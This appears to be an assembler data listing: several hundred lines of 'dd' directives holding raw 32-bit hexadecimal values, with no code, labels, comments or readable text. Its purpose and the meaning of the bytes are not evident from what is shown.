dd 810524C0h, 4D4713CAh, 376CA0AFh, 709D3816h, 0D8B8301h
dd 7F108Ch, 77BD559Dh, 5B287948h, 0F6259F01h, 5033FCB3h
dd 2E052AADh, 4799E966h, 0DEDC9F40h, 0D201FEC6h, 0FA4E81F8h
dd 0C7896AD0h, 0A937F220h, 0FEC9C7A5h, 65D56A20h, 0C9BE24FCh
dd 0A4287F69h, 802D9A41h, 0A40538D8h, 705305A5h, 0D4413261h
dd 77F9C390h, 963AA581h, 46010215h, 0EC270D2h, 0B1AD72E1h
dd 0CAF12CD8h, 534FBD70h, 3B4E58F0h, 907E2D0Ah, 0BCBE00C7h
dd 3152A737h, 89955EF3h, 13BEF953h, 6E0FBE10h, 114F9621h
dd 0FD125A0Eh, 0DE687A82h, 7B2FCF5Eh, 0FC6664D9h, 6DABA55Fh
dd 0F2CE6F42h, 5763D14Bh, 0D43500CDh, 3091716h, 82404401h
dd 480D04DAh, 0A82D68C3h, 17C42994h, 4E8D165h, 0FA1C386Ch
dd 0BDCB785Dh, 0E4574831h, 14153DFBh, 0EE6203AFh, 4D2C2472h
dd 2F8801AAh, 4E29188Ah, 311534B9h, 50CF2DA6h, 0E176D10Ah
dd 0F1C2B227h, 0B7569615h, 4CB5D2B0h, 4AE6F964h, 0A265FC0Eh
dd 7CBCD8F7h, 3BBF2460h, 0C582A5C9h, 74092E25h, 0EB01C2A7h
dd 602039DAh, 0B151123Bh, 67A5B820h, 0F46D0306h, 44F623C9h
dd 0BD22743h, 8907B5D3h, 0BF4353E7h, 0F20B9C3h, 8237B560h
dd 0D3D20D8Bh, 2FE5F9F7h, 0A313A48Eh, 0F613C8B3h, 8FF9E14Bh
dd 0E916C05Ch, 0DC7558DFh, 0DE4DF706h, 0FA025BD4h, 0E0FC1A37h
dd 0B102D9Ch, 0F5010C86h, 1708B608h, 2941D25Eh, 89444B7Ch
dd 5B24DBA7h, 75090F88h, 843137C4h, 0B13EF821h, 0E3821662h
dd 8A3070F1h, 30CB68E1h, 30B40B7Ah, 2EC8EA82h, 1D27C07h
dd 51C02DAh, 14C2D601h, 10C080Dh, 550A8B14h, 4B478BFAh
dd 9E45C09Eh, 12A9536Eh, 2A1DF377h, 5814DC40h, 5CCCB01h
dd 11BA3B76h, 7BCAC782h, 0E27FB718h, 800143C3h, 0B02AF9F5h
dd 278E55Dh, 923CC53Dh, 20AF5CEBh, 1D736809h, 0D16143BCh
dd 0F270C5FEh, 49324E02h, 0D907B0C8h, 89A7AA53h, 0A021888Fh
dd 6F4D5EF5h, 7B33A297h, 0E101BACBh, 49FAE990h, 73F66E5h
dd 0BEB9490Dh, 8228B108h, 0F35A80Fh, 54D66F1Ch, 0B14040Bh
dd 1C8403B0h, 0E9A15CACh, 39028A2h, 0EB4031B8h, 61C2A26Ah
dd 6428381Dh, 126ABC92h, 0C8A1CC85h, 1E767B50h, 2B70BF10h
dd 49125D4Eh, 0E9943CBAh, 0DBB2A427h, 0B55C9203h, 0E67B78CAh
dd 12ED9F12h, 929551ADh, 67F9B354h, 7042A7A0h, 18848B06h
dd 9887FE03h, 0D280951Ch, 1F98FFBh, 8B9F5FE4h, 9F8847E4h
dd 99EE438h, 0D91B87B6h, 0AFFE89C3h, 47207490h, 0C9A2BEB9h
dd 0B72D682h, 163C99D1h, 7E449991h, 0D28858C5h, 74282D68h
dd 0C6B64B91h, 39288DF4h, 73C1875Bh, 493F13A0h, 0E284402Bh
dd 80DAE8FDh, 0D05D9DB8h, 0F1C9B50Dh, 0E835DCF7h, 1EBC3703h
dd 0A766182Dh, 0D68D8099h, 9214E573h, 81DB7134h, 0EA30305Bh
dd 6C6D311Fh, 59568512h, 2EA28CF8h, 475888A9h, 850571C0h
dd 0EA3BAA09h, 740F0988h, 1B072576h, 2BE17F97h, 2A7391BFh
dd 8316BC12h, 0ED5E965Fh, 0E246348Bh, 59070067h, 95116768h
dd 74598612h, 57977316h, 7EED8B69h, 947D5232h, 0C15F0BF4h
dd 730008E1h, 6DB37379h, 0D1A9314Eh, 0EE065F94h, 0C2CFC01h
dd 78192A0Fh, 23263F3Ch, 68170820h, 0B4D24716h, 3D3F0A22h
dd 0DEFD7F98h, 0AAAA91E5h, 3CD24002h, 868F9FA2h, 0FB296601h
dd 0C079F566h, 0F2BBC76h, 15B7C0B7h, 4087A033h, 0FE772123h
dd 5EEB1C34h, 6014ACE4h, 93C63B0Eh, 61311A3Ch, 52E2A01h
dd 1601653Ah, 28064775h, 8E4C73C5h, 0EAD14C04h, 4AC2D039h
dd 25ADADFh, 79D73289h, 2BE0FA01h, 7995F037h, 35532F5Fh
dd 788DE926h, 7AFA3FA9h, 898D968Ch, 0FF5C27B7h, 40AA1A4h
dd 0B9920E34h, 0AE241DFCh, 9BC02FF4h, 0BB80E877h, 157305A1h
dd 88D9895Fh, 0D5E840Ah, 5BA0E38Ch, 6667DC3Dh, 5FE03B5Eh
dd 4C8569C5h, 2C241E7Dh, 0ADE876E9h, 5A4F07CCh, 520493CAh
dd 0AFA51DE9h, 0B3C0AC24h, 0BC0839h, 99EE81CAh, 16C4A3Ah
dd 0CCC651h, 0F0895808h, 0C7035498h, 67B46A1h, 40B601h
dd 1AB73A8Fh, 0CC7C2E35h, 8B291C3Eh, 0EC2545E9h, 2FDFBEBCh
dd 0E98B9F71h, 0BDEEF042h, 2B8D9FC9h, 2BAF4885h, 5EDF448Ch
dd 27D2969Fh, 3BDAEE62h, 91727A00h, 73E58138h, 74961D43h
dd 9F0594C1h, 2D038549h, 69865E77h, 0E15AC9D2h, 6C02C572h
dd 0EF897303h, 2380835Dh, 4DB79394h, 0CC5F6F28h, 0DB48F779h
dd 0A2E401C9h, 9FE99A86h, 0DC5F2D68h, 8590625h, 628211D7h
dd 52131948h, 23C90C55h, 278C5D1h, 2A9466Eh, 77C380EBh
dd 0CCB01660h, 43F0981h, 12BDAD1Ah, 68BB02FEh, 0D4F67F05h
dd 0CAFC1165h, 0C2A2A04Eh, 3F4A14FEh, 0C10494CAh, 0BE5302E3h
dd 16DA7710h, 74C052E9h, 17F2B551h, 1979ED80h, 6F0E22Bh
dd 18C30FFDh, 0A0B33E75h, 0A967E9B7h, 0E96E57BDh, 0D88FCBF4h
dd 902B5E60h, 48ACF055h, 825FDE58h, 5ECA0513h, 186456D6h
dd 0A5843A21h, 0C4CDD11Ch, 59968851h, 0E90DC28Ch, 39539A4Ah
dd 0A14A5ACh, 0B21028ADh, 0B050661Dh, 4A8972ACh, 177F643Ah
dd 79639568h, 5C11DA0Bh, 22E4120h, 0E96ABE0Ah, 75D4CC3Ch
dd 539F1DEAh, 5A45FED9h, 5B314E48h, 9337F2C1h, 19094B13h
dd 0E118DDE7h, 0EEBF07E4h, 0F8681318h, 5B049A36h, 5DBE14C2h
dd 197E4FE0h, 83852086h, 8FBFABF8h, 0C98EB777h, 8A762B58h
dd 0B3004A74h, 8DF380BDh, 9FDE4C88h, 0E2B70B7Ah, 0F5055E9h
dd 2E2B214Ch, 5010A48h, 82880E33h, 8B3A2031h, 0DA004BFDh
dd 754E262Dh, 7B089D7Ah
dd 0DAB02507h, 7582F55Eh, 92EAAA85h, 54D22918h, 0C25F56F4h
dd 78DC40D0h, 0C67A40CEh, 0F017212h, 0C5A716FFh, 0F4971621h
dd 0FD2FE91Ch, 5AF272D7h, 0BF4D80F6h, 6002859h, 65F78121h
dd 987A1A0Ch, 2D5A0576h, 0FF096B9Ch, 0D2862941h, 0D2408463h
dd 4BA504B8h, 0ED5F8222h, 38750889h, 7E54509Bh, 94C7BD8Bh
dd 86B0671Fh, 3F3D73BAh, 0EAAE6205h, 0C6E2002Ah, 4253C539h
dd 441DEC0h, 8231758Ah, 7CC63441h, 1658E1DFh, 0BF0D9D3Bh
dd 898C2507h, 8D25BDAh, 0F327CBC7h, 93CAC93h, 0F498FA47h
dd 283ACF2Ch, 5B78F4F8h, 0D8127A70h, 0C9FDB2E9h, 153BCD02h
dd 8B8777A5h, 7FAF92C0h, 0F827325Ch, 57210202h, 2ABBE91Ch
dd 0AABB9477h, 5B4A7541h, 42AF8742h, 0B4387704h, 59A1FACh
dd 51B925A3h, 0A7CC2A3Fh, 42A84C13h, 0C81924A7h, 8140F743h
dd 77432A68h, 0B99226C5h, 0B05BEBF7h, 5D15F509h, 0D9C72013h
dd 83ADED60h, 4207F38h, 272E840Fh, 7D1F3F4h, 0F737161Ah
dd 0ECD524DDh, 0D0070F5Bh, 0FE72F9AEh, 54BB6007h, 61BD6E4Bh
dd 926B43C7h, 1DD30279h, 0BAABE904h, 297EF5B5h, 3E883EACh
dd 0A2869566h, 883BEB82h, 84A1AFD7h, 0A9C858F8h, 0C209BF3Fh
dd 9D7B54D6h, 0F04DBDCAh, 0E92529E6h, 0D74C4207h, 3609BA89h
dd 599E255Dh, 53DE97F8h, 0BEB1B0D7h, 29A573A3h, 3252206Dh
dd 4BEE71C9h, 130C703Bh, 1F64A563h, 0E44C35A1h, 5E31F6Fh
dd 54D42CFBh, 5DF20997h, 6057FBB9h, 791633EBh, 24A15F1Dh
dd 58AD0FBEh, 82C5A230h, 0BAD460Bh, 88A70F01h, 88363086h
dd 0B8C455E6h, 0C34021E5h, 1A8654C9h, 1C4EC5F6h, 41A799A4h
dd 1C9C7BE6h, 1890B471h, 0B951BF01h, 0D2F2EBBFh, 3646094Ch
dd 0A5D49283h, 0B5392481h, 0E50BC071h, 4D5F606h, 87EF73FEh
dd 1EC3043Dh, 0E1337BAh, 0D459EBF7h, 0FDB2504Bh, 0DA4AF2FCh
dd 0B1034FF3h, 52C9FEEAh, 887D6601h, 0C68059EEh, 43F698E7h
dd 3F05B730h, 285321CAh, 66577BD3h, 4F2F65A4h, 0C192E280h
dd 31363EF5h, 32E9FDC4h, 0B226F39Dh, 0CCC2FBC0h, 0DE406EB8h
dd 12E3B766h, 94C31A3h, 0BF02C8BCh, 0F712B44Bh, 28367F63h
dd 3437B9E8h, 0B80E852Dh, 8052C503h, 611B2918h, 0DD3B89B7h
dd 3CD1E587h, 65B8A89Ah, 1C316C33h, 9082A835h, 26C49C8Ch
dd 0ED64CBE2h, 1FB7BD01h, 0EE317FE7h, 0B0F78730h, 899A5C44h
dd 0C7CD2E7h, 0F0252575h, 0BFF49BE8h, 410C3F61h, 5968ED85h
dd 2F08C91Dh, 0C25F63E2h, 81A7761Dh, 0A1706656h, 0DCE28927h
dd 0D958FA74h, 7F48C298h, 0EFA8B45Ah, 0ED11B735h, 0DD97F131h
dd 8790500h, 29127A05h, 71B2DD0h, 29D461F3h, 0E351C189h
dd 4555C6EAh, 0E55E27A8h, 2748557Ah, 5582F669h, 2948DF66h
dd 7C895E46h, 80EDCACh, 392CC7A5h, 0F73074B1h, 14970205h
dd 0B60EF328h, 0BB8EC506h, 0C7E356A1h, 26BE5601h, 3C78DF62h
dd 0FB4873E0h, 2FAE01E3h, 41E932E4h, 59350B6Fh, 0CAFDC4C8h
dd 5814B80h, 0D919DECBh, 0E110FE73h, 608505FCh, 0A2BCBB2Eh
dd 7E5167Ch, 98DD0345h, 2DD30252h, 67AE3DC8h, 392F0D02h
dd 0C65726A2h, 789A9893h, 67A5D5Eh, 501D2D06h, 0C1251A10h
dd 595ED658h, 7403E2Ah, 0F739EF6h, 64A8F628h, 0F0301682h
dd 50E3EDC1h, 802EB6B2h, 2815CE3Fh, 8C29FFEh, 753A60E9h
dd 9B82366Ch, 0CB166FFBh, 5CAC6AFCh, 68906825h, 83A00F89h
dd 0FB0D62DFh, 4882F97Eh, 8340E430h, 988105A0h, 52CA5A8Fh
dd 0F302A90Eh, 1AB05494h, 0C40D09D5h, 55500059h, 92758C68h
dd 0B8345D23h, 84FA0D8Eh, 25E1ACB6h, 0A5DD8EB1h, 0D6F97DCCh
dd 2219774Ch, 10BF1BE4h, 0BD54515Dh, 592F19EDh, 355A32E5h
dd 6459A7A7h, 2D1A3AAh, 4F45B3BAh, 698DF00Ch, 82D70FAEh
dd 0D4A983h, 881D69BFh, 0D7F74912h, 2D4862B2h, 0A2BBC344h
dd 3634C00Ah, 5A493758h, 8548ED8h, 0CF03587Eh, 2899CD92h
dd 0C568A06Dh, 4836962Dh, 0C823129Fh, 81695360h, 0E8EC1218h
dd 9F26BC4Bh, 45A78047h, 17E90A0Ah, 3FAADA8h, 90B88F20h
dd 0E44A9833h, 0E7789D97h, 9B2A7831h, 45516D0Ch, 1FE946BDh
dd 12E55D9h, 0E2480578h, 7021453h, 0B022C8E9h, 3C60C2BDh
dd 0D33F424Bh, 0BEEE4E93h, 81F05128h, 5CBA7C78h, 23104A7Eh
dd 64046CC5h, 9B5C1353h, 1013F873h, 8712366Fh, 203CF1F3h
dd 0C34105CEh, 6A690242h, 0F52FF70Dh, 127C93E6h, 2C5D20E1h
dd 8AA0C35Ah, 25A22F68h, 80A52498h, 0FE01C51Ch, 6AC08EEh
dd 68005413h, 0E9EB281Dh, 25E29475h, 340E6E7Eh, 85C2AF2Eh
dd 0C4ED10D9h, 3CC098CBh, 0E012922Dh, 874EF361h, 0F6B1B86Ch
dd 0BC884BD4h, 0D0C02DFBh, 97455B73h, 7990F0EBh, 0C6EC7DBEh
dd 0FA78AF0Bh, 7F892283h, 0BF475FD6h, 9673662Fh, 0BA02272Ah
dd 93D4A143h, 502CD362h, 910254F5h, 5D683D56h, 91076D93h
dd 309A5B9h, 0B8D1B152h, 0F4BD376Bh, 3138A04Dh, 0EA85C095h
dd 0A47317F3h, 40D2BD02h, 52545E08h, 5E1631Ch, 9629EDBDh
dd 0E0153F89h, 0E52FB1BEh, 7E4180F0h, 8621CC05h, 57D350Ch
dd 29DF445Fh, 0B25ABC9h, 5A81C4A4h, 8566B230h, 0BCE0DE31h
dd 89FC0495h, 0E6F021AFh, 404F25B2h, 0F695BA38h, 0BE2001CBh
dd 7B895BEDh, 0C49C2031h, 4CBF2B9Dh, 9B60205Ah, 515E5B25h
dd 65EA62A4h, 6CBD18h, 0BF25345Dh, 49BAAF9Dh, 0F865E99Dh
dd 0E95FF384h, 5A26E867h, 0A32E7CD9h, 5A284E60h, 261A94B1h
dd 0C4CA3DCFh, 92ABA980h, 0D0503EE3h, 132A16A3h, 3F370174h
dd 6A46384Fh, 6C167190h, 0A04E5A85h, 4A091265h, 0E046E936h
dd 0EFE82146h, 613AFBD9h, 3A47BDC9h, 0FB4B0B9Ch, 0A650C104h
dd 0DACC6A27h, 31745A52h, 0A3FBEBh, 17ACBE35h, 17517239h
dd 7FC6E173h, 6C797E00h, 972119F5h, 0A9DC7C82h, 2AA8B09h
dd 9D03D3Fh, 7A10B67Ch, 0A25BC458h, 0C14C545h, 0E90D05A3h
dd 7B1D1D7Bh, 8792685Eh, 8B7F04A1h, 0DCCC9272h, 501F9656h
dd 1000E0BAh, 0BCBE7E0Ah, 9AD6FC45h, 221220CEh, 890F5EB0h
dd 6E67D56Fh, 0E76D3818h, 6A2317BDh, 0F12D170Ch, 0B3A73C5Eh
dd 0FAFC1AF2h, 6ADC1119h, 354BE28h, 0E69C5D88h, 0D4B375C2h
dd 6E2630Dh, 0EAC7750Ah, 10FD379h, 8EF0AF7h, 7025A12Bh
dd 3FE177h, 0BA5255DEh, 0AB261F94h, 0C1180D2Ch, 38F7347Ah
dd 0E98B42D2h, 97C6F561h, 20D50D20h, 0A13BDEF7h, 0F96D3E23h
dd 680AB7BEh, 0B142C945h, 17962A83h, 3DAEDF8h, 32D0306Fh
dd 0EAB0E081h, 0A11D5FB8h, 0D7BAE027h, 2CBD5395h, 0BDAE22F9h
dd 133F9465h, 0CE41DB8Dh, 34E798F2h, 5AD485EAh, 0A367D749h
dd 8E465E42h, 0F3FA4AA8h, 46D94BCEh, 68DDAC12h, 12875D23h
dd 0E0D031F2h, 2840F60Ch, 87EF50C1h, 0F57D6014h, 59E6482Fh
dd 851C83BEh, 426FC300h, 0FFDAE94Ah, 155136A7h, 0BD9F507h
dd 370C5489h, 837E4B12h, 2F1CF16h, 0DFEDD82Fh, 1C41C290h
dd 76B90342h, 0EE68E052h, 7C6A4F23h, 9E13E8D1h, 9D894E9Ch
dd 0D02135B0h, 0E8C15A01h, 0C764E918h, 0F2C80A72h, 4FE82F0Dh
dd 0B621C431h, 6638BC9Ch, 0A1282C8h, 0C381498Ch, 423A7BDBh
dd 954876B6h, 9497FB21h, 0F74312A7h, 85A300DBh, 255B0D68h
dd 4B06C60Eh, 4DAAA121h, 66956F59h, 482DB39Ah, 584BAB7Ah
dd 0F5B2FE16h, 4F786910h, 0B8B532B8h, 0D29112E0h, 0C9816630h
dd 0E5324C0Dh, 12488450h, 12751574h, 6A14A119h, 525B688Bh
dd 94CAE213h, 81C4202Dh
dd 0C26A12A8h, 6B55C0BAh, 0E9964B4Fh, 0AED9A5D6h, 6268CD50h
dd 87645E92h, 5E2F1C9h, 4988CC81h, 0E93ED605h, 99E83B85h
dd 391C1DB0h, 0C8296E0Eh, 5D86559h, 0CB2D0A07h, 1C13B923h
dd 9256862Ah, 0ED4AAE3Dh, 589CB6B7h, 0A5096A2Eh, 0BF12D390h
dd 0D4625D7Ch, 95CF5C2Dh, 68E1F782h, 2F4EDEAAh, 9022B766h
dd 82A9B777h, 0CD0B4356h, 318B9A86h, 6608022Dh, 8D4CFF5Bh
dd 0DF5E4D6Ah, 904D03D6h, 1BEA502Ch, 0FA294268h, 0DA40D990h
dd 71EB7081h, 2A649040h, 0AC398CBBh, 5F5425BEh, 0F7E40F59h
dd 0A4B9B252h, 1348F6C1h, 0E4928625h, 0D2B62762h, 0BF000331h
dd 7DF398Ah, 36685507h, 13F32A6Fh, 2F71E1B3h, 5B5496A6h
dd 0E1752FB1h, 5509B503h, 0C0444BBh, 3BB925F2h, 0FB43EC01h
dd 7346A18h, 0E3D951E0h, 3BFA993Bh, 401AE188h, 0CCB929E5h
dd 70170202h, 0C2FBE316h, 1C088CEEh, 827C5188h, 6C3B1882h
dd 53C42B79h, 51F5EC27h, 3D8EA491h, 0F97BC0BEh, 0F5CCDD6Fh
dd 1A02C795h, 515B792Dh, 29DE9Ah, 4B3CF7B9h, 1F4AE922h
dd 0A2B866C0h, 2A2F0928h, 7E90C601h, 0D9DDB072h, 0D6F94E8Bh
dd 8267B5B5h, 9D6EFB3h, 2A0532Dh, 152ACF2Dh, 357388E1h
dd 0ED9B0428h, 161C88CAh, 66A4E12Ah, 0E6357B24h, 0B0D7B8Dh
dd 0AD21BAC8h, 97ADD434h, 518E9F45h, 20AC7764h, 5A4E7F20h
dd 377C61A3h, 0C057B455h, 0C11586CAh, 0D1A24B4Fh, 2B632D96h
dd 6C964780h, 0E93140A3h, 0D9E87825h, 4A5C0EE9h, 0A424FFB3h
dd 81013780h, 6A0E01EAh, 2A05BB63h, 7E4CED64h, 81387D4h
dd 783E3D91h, 0D180E33Ah, 9FE90906h, 68BB5D31h, 3DDBADD9h
dd 33E11F7Ch, 6FBC8BAh, 2BF92D38h, 0AB8327B7h, 0E4F2A2E6h
dd 2C4EA44Dh, 75100030h, 472A64Ch, 118775Bh, 19ACC4F9h
dd 0C0FA1C08h, 48B17FE2h, 36636861h, 9C4AD733h, 0E9145CEAh
dd 256F6FCh, 2B8521E3h, 68914009h, 8D1D4B13h, 0C91132ABh
dd 0F4ADDDCEh, 0A1EF6C7Ch, 0BA7901E7h, 52105700h, 2EBC148h
dd 0CBF012C1h, 136EF814h, 9961FFB7h, 353C1684h, 572CC491h
dd 77AA05AEh, 9EFCC2D3h, 5DF20955h, 9D20271Eh, 0CA09BD19h
dd 5DF22A03h, 407D5082h, 12CA58DDh, 0E0019E4Fh, 0E7402F99h
dd 5BDD3988h, 3716EBBDh, 85D1EC0Dh, 55D9D738h, 9D819D51h
dd 65F174h, 570A4126h, 8359EABFh, 30E91515h, 0F2800BA4h
dd 62277C67h, 0CA48F05Ch, 0B7CB783Fh, 0A4C0FC74h, 8E4A3851h
dd 13E9130Bh, 2DADFD80h, 707A3916h, 0BF80F54Dh, 0F464FFDh
dd 992F89Fh, 47056407h, 28009BB3h, 42F7815Fh, 0DF679616h
dd 16A0120Ch, 2DB8C0FDh, 7A12436Eh, 13AF057Eh, 0EB6C2209h
dd 418C5BF6h, 5CE2BF6Bh, 21A1D3CDh, 0E042F4F0h, 0E3801AC3h
dd 8EBDC11Dh, 52278026h, 0FF52D2F9h, 0FC616727h, 43EEE627h
dd 874BFD69h, 2CAA9D4Ch, 33E8449h, 0B35407F0h, 60E9843Ah
dd 5F31FA88h, 11A7F74Eh, 142E9C83h, 93F6DB10h, 52ED034Eh
dd 25D7DA88h, 10C6C150h, 95A805F2h, 51552579h, 41F0500h
dd 1AC48956h, 0F0ADC7D3h, 770BFD06h, 0D3A83060h, 662C74B6h
dd 29195652h, 0F23F5912h, 872483A8h, 7021C561h, 9B4C4ABDh
dd 1DF25EE9h, 73464929h, 5585932h, 0E3602496h, 303A4A42h
dd 0D498D601h, 60DFF0Bh, 3D8FBEE9h, 5C65A664h, 4DD82BA5h
dd 1C5AB968h, 771095F3h, 0A64F7Ah, 63FB543Eh, 82F1772Fh
dd 51712EB8h, 4A0045B6h, 584DAD40h, 5906A135h, 6863097Fh
dd 0E98E5E56h, 4FB9D371h, 7993C4h, 146F381h, 2504901Bh
dd 0A01CFBB0h, 0BCA292Bh, 0DA2FDCA6h, 0DF51B594h, 0AA353702h
dd 0E47C601Fh, 18101D45h, 1A1CB429h, 14011C08h, 81C444E9h
dd 0C6F5F68Fh, 0F13AB923h, 406807h, 0E6293825h, 78EC2D7Ah
dd 21F42DD8h, 674BD950h, 15E6C20h, 0B65A5FD3h, 9DCF84BAh
dd 0A5F55909h, 21AC6BC4h, 0E9ACE158h, 0A9FEBA30h, 2D200AF5h
dd 59545322h, 5013D62Ch, 40DED0A8h, 6D40626Ch, 0A66427E9h
dd 5FF25C38h, 93C51813h, 0E7C93186h, 9F3E204Eh, 75DC4482h
dd 89D41916h, 2C22ECC7h, 27BF0FFBh, 0C1038232h, 0C0807FE7h
dd 640F634Fh, 4DBE5602h, 0DE368D47h, 3662410h, 6FCE2191h
dd 0FC892A00h, 0FD094A96h, 0F0E9275Fh, 0C988D6DCh, 0F8D62871h
dd 745B941h, 3006EFC0h, 0D7F602E7h, 8C686601h, 0D47CE909h
dd 9251A26Eh, 5F874241h, 52783870h, 13FFED4Bh, 0D749E5E9h
dd 0A536595Bh, 0F1E80FF1h, 8347F413h, 0F633E0E6h, 61C6B13Fh
dd 5599886Bh, 0A47CCF9Dh, 0D7334584h, 82C594A4h, 0C001E508h
dd 0F9FD03E6h, 0A6F8137Fh, 0C12F7686h, 6674B002h, 85E950F7h
dd 2D33759Bh, 4164D6E0h, 0B3CD544Eh, 0C3E5B16Ch, 961052F9h
dd 0D15E884Dh, 0C8CB06h, 13559568h, 0C35F74C6h, 0E999D139h
dd 3150D3B3h, 68125A90h, 30FA1358h, 432CB94Bh, 0F739F200h
dd 7E1C1D9h, 2A852D68h, 3FA17018h, 8134B001h, 96599AE2h
dd 0F3073460h, 300526BEh, 5319ED68h, 8C04FB2Dh, 491D017Dh
dd 6E2970AFh, 0B3E139F7h, 25C99D08h, 0F38A7558h, 52481380h
dd 812DBB95h, 88D2852Dh, 2B27E90Fh, 0C43A0B2h, 2F307671h
dd 42D3015Bh, 35D8F700h, 60593BC2h, 41E84E46h, 1765398h
dd 8A1E9F0h, 0A97D3058h, 4BC7AA6Bh, 25D6D191h, 85B75300h
dd 511C50F8h, 0CC9FF988h, 0C1F3B4F8h, 4B2C2383h, 0CB1FB8E3h
dd 39A27521h, 6801D8A1h, 8C2B7E33h, 361835ADh, 0EDA2549Fh
dd 73263075h, 5D5C710Ch, 17E6640h, 9F874FCh, 304B59CBh
dd 0B1FB3DAh, 0EBCF1BEDh, 85C23C03h, 60FC940Ch, 2517E7ADh
dd 0D1F60825h, 948308A0h, 542DC0FCh, 13120E7Ah, 0B5C1ACE9h
dd 0F120CFFEh, 9DF79005h, 0E9E1D8E0h, 0C6CD9227h, 153520F6h
dd 10545848h, 834FF1DFh, 0A3C957A1h, 814700FEh, 3A952FCFh
dd 0D2F71BE1h, 0E98D63E0h, 0E52A6A27h, 0BF2A3E39h, 595404EEh
dd 8D67E168h, 4AFAE056h, 36725B33h, 0DE1BD8E2h, 9CE0C123h
dd 0F07C4D31h, 0D805E8F2h, 7AE9A60Ch, 0CDBDE490h, 4F9A3D71h
dd 4FCA2E13h, 0BC00558h, 122D0335h, 4BF85D17h, 3E9DD214h
dd 0DC3EB8B7h, 0F1AF4040h, 0F0271409h, 6F198405h, 0BFFE8804h
dd 4FA9665h, 0D185E9E4h, 6BA12C8Ah, 3FBCEE74h, 6075F548h
dd 68528B79h, 989570DDh, 3F1F7B3Eh, 0C1833DB3h, 0E68102EEh
dd 812744B9h, 0BBE4C6FEh, 0E768F5DBh, 3199E983h, 24576939h
dd 76106B55h, 3415F26h, 204002BAh, 0CD554C50h, 0A7462B2Dh
dd 27F30DE3h, 250C3C05h, 210F7513h, 24DDCA56h, 55448B60h
dd 0F233983Ch, 216002A6h, 0D1F75971h, 6A49ED41h, 5AA43714h
dd 90D7FEF9h, 4DBF5788h, 10F2632Ch, 227BCF01h, 5060369Dh
dd 8D7D16C7h, 46E1640h, 12F547AAh, 9471EFEh, 0EFD68CA7h
dd 964E2B85h, 24B390BAh, 5A173F26h, 0F7FCD721h, 0A77C810Fh
dd 98E5017Dh, 6B12A401h, 4038D0A0h, 0BB2653DAh, 57049345h
dd 1AFE3C1h, 0E474B934h, 3FD22B5Eh, 39B4006h, 4B780053h
dd 17793548h, 314F42F9h, 0E3E01497h, 16294FC8h, 5D32E9D9h
dd 0A6D8FEFAh, 0B93F748h, 98D117E3h, 7C8808h, 8007EBC0h
dd 0DAB8D8F3h, 5A28F140h, 0ACD184C2h, 36DC422h, 2F1A9DEFh
dd 0FCE730D3h, 895E5D0Bh, 349AC0AFh, 4217286Ah, 2CE609F0h
dd 0E3EA6B05h, 0B35F0804h, 0D8E9099Bh, 0A03374DBh, 82BDFEEDh
dd 0B93F8475h, 0F92DF4A1h, 0FB44AEE5h, 96F30302h, 0DE203C20h
dd 0BD5EDD73h, 574A32CFh
dd 0A0A3BC58h, 265881FAh, 9ECFA09Ch, 720E7D2h, 7B567273h
dd 1FD4B38h, 8BDF0169h, 92B62E1Ch, 2E0C6882h, 88451875h
dd 755273D4h, 792490E2h, 873C3158h, 8EBDE949h, 4D5366B5h
dd 0A03E0DBBh, 2F400E69h, 2845945Bh, 3B860B0Ch, 9CD25777h
dd 81CC0883h, 683DAD5Bh, 67DAC005h, 30E97B79h, 0C3DBE2B4h
dd 192720EEh, 3F8AFCBCh, 0B4FE7612h, 26F001ABh, 0EC22994Eh
dd 22305568h, 6295DCE9h, 6065599Dh, 7E30FDE7h, 33A21850h
dd 0D42AFE0Eh, 0EEE89F29h, 0B9F1F54Bh, 88FA317Ah, 0C2BB051Bh
dd 99C832E0h, 0BBA99615h, 682C20D6h, 3DF16A04h, 5C01875Ah
dd 2B6C97E9h, 3BE71C42h, 0ED6575B6h, 0C390E904h, 0C9D86AB8h
dd 362D6858h, 8B5D530Bh, 3E47E387h, 0BE65173Fh, 2C4669D0h
dd 94ECE7A3h, 0E0209521h, 6D5D4462h, 0B663532h, 5472E101h
dd 0C3012B3Dh, 6D969F1h, 7E0EA75Eh, 0F2E98501h, 0C930ECAAh
dd 5EE77026h, 0EC51245Dh, 0A013E263h, 8030B784h, 0E6974F7h
dd 0E045BFEh, 0D0E9C442h, 5F29B5C8h, 4595247Dh, 0D231090Bh
dd 973E8738h, 68CC10BDh, 0CD405FC0h, 53ABED77h, 8CF9D8D1h
dd 92B66A5Eh, 0B60FBC25h, 1DD4B4CFh, 4EB07D84h, 0D81DE9CFh
dd 0FC8AB09Fh, 0F2B54A53h, 273D1346h, 7796CCA4h, 7504857h
dd 6E0C2A04h, 61959174h, 5F592391h, 8F04C512h, 97ACA0B2h
dd 2FD030E1h, 9CA5DDC8h, 51BD01ADh, 310ABA55h, 0F8F420ECh
dd 7FC43A02h, 0D5B4E3E9h, 98273DE7h, 959BE915h, 8CD6F609h
dd 9D27CB28h, 58424647h, 0DC203C03h, 0FE8F0997h, 94A0F2FFh
dd 0C0F5E580h, 6C007E6h, 61B05004h, 0EE799028h, 98E8E005h
dd 55D4A4BEh, 816BAC84h, 7E3BA15h, 8912CA42h, 0FB8784DFh
dd 8B01BF12h, 7B3AB7D4h, 8087B643h, 9829224Ch, 6C3D2DCFh
dd 0A2C47854h, 138F6788h, 110DA96Fh, 0BE02B724h, 7A194D54h
dd 8B2A8D83h, 0F231E7F8h, 224AE916h, 5B9CC692h, 0E8A044D4h
dd 0A5535B4Ah, 858BC010h, 6B82EB29h, 40209FEh, 7BD36A93h
dd 422DDCA4h, 9326516Eh, 0C4FCE950h, 0D5BC72D8h, 2D1E33D0h
dd 74AE39F9h, 0CC4225D4h, 7D5A057Eh, 0F9683240h, 73956295h
dd 0DE7CA5F2h, 0B135E759h, 8394E16Bh, 0C41B301Ch, 0F690B744h
dd 0F9326C42h, 3E0EB7D4h, 0EA007C69h, 57557052h, 8AD0F229h
dd 0E5E3008h, 0CB392E9Bh, 174C45Eh, 0DAC4DC27h, 0A4824E7Fh
dd 0A65D201Ah, 0C5295A13h, 18EE6900h, 6C143A5h, 75E905E8h
dd 424C4E11h, 601D0083h, 0CE815746h, 0DB332F9Fh, 39DADA80h
dd 83FD13E7h, 9227CC1Ah, 9FD20B11h, 3C02C578h, 8ED1C7BBh
dd 716300A5h, 321FD278h, 0F770E9C1h, 895D8BC8h, 0B55CD54Ch
dd 0BC684BFh, 7F427360h, 9A59F33Ah, 1BD2D81h, 107A3948h
dd 0E90B07BFh, 0BCF4F9B1h, 0BAC3819Ch, 22D2A60h, 8BDC711h
